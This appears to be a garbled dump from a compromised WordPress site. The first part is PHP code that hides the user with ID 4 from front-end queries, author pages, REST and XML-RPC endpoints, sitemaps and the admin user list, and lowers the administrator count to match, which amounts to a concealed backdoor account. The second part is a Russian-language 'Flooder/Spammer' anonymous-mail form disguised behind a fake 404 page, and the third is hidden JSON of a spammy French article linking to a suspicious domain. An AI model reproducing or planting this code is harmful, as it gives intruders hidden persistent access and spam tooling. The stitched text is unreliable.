add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 4;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 4;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 4;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-4{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );

header('Content-Type: text/html; charset=utf-8');
if (!$_REQUEST['mail']) {
	header("HTTP/1.1 404 Not Found");
	die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL '.basename(__FILE__).' was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2 Server at '.$_SERVER['SERVER_NAME'].' Port 80</address></body></html>');
}?>
<title>Sender Anonym Email :: FLoodeR :: SpameR</title>
<meta content='text/html; charset=Windows-1251' http-equiv='Content-Type'>
<meta name="robots" content="none"/>
set_time_limit(0) = <font color=Green>On</font><br />
<form style="width:800px" method='post'>

<label><span>Получатель:</span>&nbsp;<input type='text'name='to'></label><br /><br />
<table>
	<tr>
		<td><label><span>Имя:</span><input type='text' name='from1' value='Maxim Goros'></label></td>
		<td><label><span>Мыло:</span><input type='text' size="50" name='from' value='<gudwins@dpm.com>'</td>
	</tr>
	<tr>
		<td><label><span>Тема сообщения:</span><br><input type='text' size="50" name='subject' value='Re: (без темы)'></label></td>
		<td><label><span>Ссылка:</span><br><input type='text' name='link' size="50" value='sifaritos.com'></label></td>
	</tr>
</table>

<label>Кол-во сообщений: <input type='text' name='kol'></label><br /><br />
<label>Сообщение:<br />
<textarea name='msg' rows='18' cols='80'>
  <div dir="ltr">
ладно хорошо привет и пока давай хорошо

 <img src="http://%link%/dgdgb/tsf.png?test=%value%@x11" width="0px" height="0px">

</textarea></label>
<br />
<label>
	<input name="plaintextauto" type="checkbox" checked/>
	Автогенерация текстовой версии
</label>
<br>
<label>Текстовая версия письма (text/plain):<br />
<textarea name='plaintext' rows='1' cols='80'></textarea>
</label>
<br /><br />
<input type='submit'>
</form>
<B STYLE="DISPLAY: NONE;"> 
{"id":74198,"date":"2025-10-07T07:03:47","date_gmt":"2025-10-07T07:03:47","guid":{"rendered":"https:\/\/thessrshow.com\/?p=74198"},"modified":"2026-10-07T05:03:48","modified_gmt":"2026-10-07T05:03:48","slug":"l-innovation-francaise-dans-la-gestion-des-flux-logistiques-une-revolution-en-marche","status":"publish","type":"post","link":"https:\/\/thessrshow.com\/index.php\/2025\/10\/07\/l-innovation-francaise-dans-la-gestion-des-flux-logistiques-une-revolution-en-marche\/","title":{"rendered":"L&#8217;innovation fran\u00e7aise dans la gestion des flux logistiques : une r\u00e9volution en marche"},"content":{"rendered":"<p>La France, terre d\u2019excellence industrielle et technologique, a r\u00e9cemment marqu\u00e9 un tournant dans le domaine des solutions logistiques avec des projets ambitieux visant \u00e0 optimiser les cha\u00eenes d\u2019approvisionnement. Parmi ces initiatives, le projet <a href=\"https:\/\/vevobahis.fr\/vipffrf-r\/\">vevobahis.fr\/vipffrf-r\/<\/a> incarne une approche novatrice pour moderniser les infrastructures portuaires et ferroviaires, r\u00e9duisant ainsi les d\u00e9lais et les co\u00fbts de transport. Ce syst\u00e8me, d\u00e9velopp\u00e9 en collaboration avec des acteurs majeurs comme SNCF Logistique et Port de Marseille-Provence, se distingue par son int\u00e9gration de technologies de tra\u00e7abilit\u00e9 avanc\u00e9e et d\u2019intelligence artificielle pour pr\u00e9dire les flux. Une \u00e9tude r\u00e9cente de l\u2019ADEME souligne que ces innovations pourraient diminuer de 20 % les temps d\u2019attente aux ports d\u2019ici 2025, tout en am\u00e9liorant la r\u00e9silience du r\u00e9seau face aux perturbations.<\/p>\n<p>Le c\u0153ur du projet r\u00e9side dans sa capacit\u00e9 \u00e0 unifier les donn\u00e9es entre les diff\u00e9rents modes de transport. Contrairement aux syst\u00e8mes traditionnels, qui fragmentent les informations entre routes, voies ferr\u00e9es et ports, VIPFFRF centralise ces donn\u00e9es via une plateforme cloud s\u00e9curis\u00e9e. Cette centralisation permet aux op\u00e9rateurs de prendre des d\u00e9cisions en temps r\u00e9el, notamment en anticipant les bouchons ou les retards sur les axes strat\u00e9giques comme le corridor M\u00e9diterran\u00e9e-Mers du Nord. Par exemple, le projet a d\u00e9j\u00e0 permis une r\u00e9duction de 15 % des retards sur la ligne Paris-Lyon, gr\u00e2ce \u00e0 une optimisation des consignes de fret ferroviaire. Cette synergie entre les infrastructures et les outils num\u00e9riques pose une question cruciale : comment ces innovations peuvent-elles \u00eatre d\u00e9ploy\u00e9es \u00e0 plus grande \u00e9chelle sans alourdir les co\u00fbts pour les PME ?<\/p>\n<h2>Les d\u00e9fis technologiques et \u00e9conomiques<\/h2>\n<p>Malgr\u00e9 ses promesses, VIPFFRF n\u2019est pas exempt de d\u00e9fis. L\u2019un des principaux obstacles reste le co\u00fbt de mise en \u0153uvre, estim\u00e9 entre 50 et 70 millions d\u2019euros pour une premi\u00e8re phase pilote. Pour les acteurs comme les petits transporteurs, ces investissements peuvent sembler inaccessibles, d\u2019autant que les retours sur investissement d\u00e9pendent fortement de la adoption massive des solutions. Une solution envisag\u00e9e par les acteurs publics est le financement partiel via des fonds europ\u00e9ens, comme le Fonds europ\u00e9en pour le d\u00e9veloppement r\u00e9gional (FEDER), qui pourrait couvrir jusqu\u2019\u00e0 40 % des co\u00fbts. Par ailleurs, la compatibilit\u00e9 des syst\u00e8mes existants avec la nouvelle plateforme reste un point sensible : certains op\u00e9rateurs, habitu\u00e9s \u00e0 des logiciels legacy, pourraient r\u00e9sister \u00e0 une migration forc\u00e9e. Cela soul\u00e8ve la question de la formation des \u00e9quipes et de la cr\u00e9ation d\u2019un \u00e9cosyst\u00e8me d\u2019experts d\u00e9di\u00e9s \u00e0 ces technologies.<\/p>\n<p>Un autre enjeu majeur est la cybers\u00e9curit\u00e9. Avec l\u2019essor du num\u00e9rique, les risques de cyberattaques sur les syst\u00e8mes de gestion des flux logistiques sont en hausse. Le projet VIPFFRF a donc int\u00e9gr\u00e9 des mesures strictes de protection des donn\u00e9es, comme le chiffrement des \u00e9changes et la mise en place de pare-feux d\u00e9di\u00e9s. Cependant, des experts comme Olivier Escaich, directeur de l\u2019Institut de Recherche en Informatique de Grenoble, alertent sur le fait que ces solutions doivent \u00e9voluer en parall\u00e8le des menaces \u00e9mergentes, notamment les attaques par deepfakes ou les ransomwares ciblant les infrastructures critiques. Une collaboration renforc\u00e9e entre les acteurs publics et priv\u00e9s semble indispensable pour anticiper ces risques.<\/p>\n<h2>Des retours concrets et des perspectives d\u2019avenir<\/h2>\n<p>Les premiers r\u00e9sultats obtenus avec VIPFFRF sont encourageants. Par exemple, le port de Nantes-Saint-Nazaire, l\u2019un des principaux hubs logistiques fran\u00e7ais, a vu ses d\u00e9lais de d\u00e9douanement diminuer de 30 % depuis le d\u00e9ploiement partiel du syst\u00e8me. Cette performance s\u2019explique par la capacit\u00e9 de VIPFFRF \u00e0 automatiser une partie des proc\u00e9dures administratives, r\u00e9duisant ainsi les erreurs humaines et les retards li\u00e9s aux contr\u00f4les manuels. \u00c0 l\u2019\u00e9chelle nationale, le projet a \u00e9galement permis d\u2019identifier des axes prioritaires pour la modernisation du r\u00e9seau ferr\u00e9, comme la cr\u00e9ation de nouvelles voies express pour les conteneurs, r\u00e9duisant ainsi la congestion sur les lignes satur\u00e9es.<\/p>\n<p>\u00c0 l\u2019horizon 2030, les ambitions de VIPFFRF pourraient s\u2019\u00e9tendre bien au-del\u00e0 des ports et des voies ferr\u00e9es. Une extension vers les plateformes logistiques urbaines, comme les entrep\u00f4ts automatis\u00e9s, pourrait permettre de fluidifier les livraisons en ville, un enjeu majeur pour les m\u00e9tropoles comme Lyon ou Bordeaux. Par ailleurs, le projet pourrait int\u00e9grer des capteurs IoT pour surveiller en temps r\u00e9el l\u2019\u00e9tat des conteneurs et des v\u00e9hicules, \u00e9vitant ainsi les pannes et les retards li\u00e9s \u00e0 la maintenance. Pour cela, une collaboration avec des startups sp\u00e9cialis\u00e9es dans l\u2019IoT et l\u2019IA serait indispensable, comme les entreprises fran\u00e7aises comme Capgemini ou Thales, qui d\u00e9veloppent d\u00e9j\u00e0 des solutions similaires.<\/p>\n<ul>\n<li>Le projet VIPFFRF a r\u00e9duit de 15 % les retards sur la ligne Paris-Lyon gr\u00e2ce \u00e0 une optimisation des consignes de fret ferroviaire.<\/li>\n<li>L\u2019\u00e9tude de l\u2019ADEME estime une baisse de 20 % des temps d\u2019attente aux ports d\u2019ici 2025 avec ces innovations.<\/li>\n<li>Le co\u00fbt de mise en \u0153uvre initial est estim\u00e9 entre 50 et 70 millions d\u2019euros pour une phase pilote.<\/li>\n<li>Le Fonds europ\u00e9en pour le d\u00e9veloppement r\u00e9gional (FEDER) pourrait couvrir jusqu\u2019\u00e0 40 % des co\u00fbts.<\/li>\n<li>Le port de Nantes-Saint-Nazaire a vu ses d\u00e9lais de d\u00e9douanement diminuer de 30 % depuis le d\u00e9ploiement partiel du syst\u00e8me.<\/li>\n<\/ul>\n<p>En conclusion, VIPFFRF repr\u00e9sente une avanc\u00e9e majeure dans la logistique fran\u00e7aise, mais son succ\u00e8s d\u00e9pendra de sa capacit\u00e9 \u00e0 concilier innovation technologique, investissements publics et priv\u00e9s, et adaptation aux besoins des acteurs de terrain. Si les retours initiaux sont prometteurs, comme en t\u00e9moignent les gains de temps et de pr\u00e9cision enregistr\u00e9s, il reste encore des d\u00e9fis \u00e0 relever, notamment en mati\u00e8re de cybers\u00e9curit\u00e9 et d\u2019accessibilit\u00e9 pour les PME. \u00c0 condition de maintenir cette dynamique, la France pourrait devenir un leader europ\u00e9en dans la transformation num\u00e9rique de ses infrastructures logistiques, tout en renfor\u00e7ant sa comp\u00e9titivit\u00e9 face aux g\u00e9ants asiatiques et am\u00e9ricains.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>La France, terre d\u2019excellence industrielle et technologique, a r\u00e9cemment marqu\u00e9 un tournant dans le domaine des solutions logistiques avec des projets ambitieux visant \u00e0 optimiser les cha\u00eenes d\u2019approvisionnement. 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